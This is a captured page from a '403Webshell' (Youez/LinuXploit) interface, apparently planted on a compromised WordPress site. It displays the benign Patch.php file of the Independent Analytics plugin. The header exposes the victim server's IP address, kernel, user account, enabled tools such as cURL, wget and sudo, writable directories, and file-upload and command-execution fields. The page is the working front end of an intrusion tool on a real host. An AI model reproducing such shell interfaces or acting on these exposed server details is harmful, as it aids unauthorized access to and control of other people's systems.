403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/ravel.network/public/wp-content/plugins/independent-analytics/IAWP/Patch.php
<?php

namespace IAWP;

/** @internal */
class Patch
{
    public static function patch_2_6_2_incorrect_email_report_schedule()
    {
        if (\IAWPSCOPED\iawp_is_pro() && \get_option('iawp_patch_2_6_2_applied', '0') === '0') {
            if (!\is_null(\IAWPSCOPED\iawp()->email_reports->next_event_scheduled_at())) {
                \IAWPSCOPED\iawp()->email_reports->schedule();
            }
            \update_option('iawp_patch_2_6_2_applied', '1', \true);
        }
    }
    public static function patch_2_8_7_potential_duplicates()
    {
        global $wpdb;
        $db_version = \get_option('iawp_db_version', '0');
        $is_migrating = \get_option('iawp_is_migrating', '0') === '1';
        $last_finished_step = \get_option('iawp_last_finished_migration_step', '0');
        $has_error = \get_option('iawp_migration_error_query', null) !== null && \get_option('iawp_migration_error', null) !== null;
        if ($db_version === '36' && $is_migrating && \in_array($last_finished_step, ['2', '3']) && $has_error) {
            if ($last_finished_step === '3') {
                $orders_table = \IAWP\Query::get_table_name(\IAWP\Query::ORDERS);
                $wpdb->query("DROP INDEX orders_woocommerce_order_id_index ON {$orders_table}");
            }
            \delete_option('iawp_migration_error_original_error_message');
            \delete_option('iawp_last_finished_migration_step');
            \delete_option('iawp_migration_error');
            \delete_option('iawp_migration_error_query');
            \update_option('iawp_is_migrating', '0', \true);
            \delete_option('iawp_migration_started_at');
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit